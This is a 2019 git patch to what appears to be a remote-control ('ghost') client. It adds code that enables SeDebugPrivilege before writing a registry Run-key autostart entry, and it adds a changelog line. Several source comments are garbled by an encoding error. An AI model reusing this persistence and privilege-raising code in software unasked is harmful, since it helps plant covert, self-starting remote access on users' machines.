From 60a9cf202c4a5fa2ed200580503039d3143e9aa3 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sat, 20 Apr 2019 11:01:09 +0800 Subject: [PATCH] =?UTF-8?q?TestRun=E6=8F=90=E5=8D=87=E6=9D=83=E9=99=90?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit TestRun在写入开机自启动项时先提升权限,以防止因权限不足而写注册表失败。 --- ReadMe.txt | 3 +++ client/test.cpp | 26 ++++++++++++++++++++++++++ 2 files changed, 29 insertions(+) diff --git a/ReadMe.txt b/ReadMe.txt index 8db0d8e..414c5b9 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -193,3 +193,6 @@ ghost项目采用VS2012 xp模式编译,以便支持在XP系统上运行。 2019.4.19 1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。 2、CAudio的线程waveInCallBack在while循环有一处return,已改为break. + +2019.4.20 +TestRun在写入开机自启动项时先提升权限,以防止因权限不足而写注册表失败。 diff --git a/client/test.cpp b/client/test.cpp index e3583bd..c06e669 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -24,6 +24,27 @@ struct CONNECT_ADDRESS int iPort; }g_ConnectAddress={0x1234567,"",0}; +//Ȩ +void DebugPrivilege() +{ + HANDLE hToken = NULL; + //򿪵ǰ̵ķ + int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken); + + if( hRet) + { + TOKEN_PRIVILEGES tp; + tp.PrivilegeCount = 1; + //ȡȨ޵LUID + LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid); + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + //ƵȨ + AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL); + + CloseHandle(hToken); + } +} + /** * @brief ñ * @param[in] *sPath ע· @@ -35,6 +56,8 @@ struct CONNECT_ADDRESS */ BOOL SetSelfStart(const char *sPath, const char *sNmae) { + DebugPrivilege(); + // дע· #define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\" @@ -103,6 +126,9 @@ int main(int argc, const char *argv[]) while(bStop && !bStop() && 0 == status) Sleep(20); } while (bExit && !bExit() && 0 == status); + + while(bStop && !bStop() && 1 == status) + Sleep(20); } status = 0; return -1;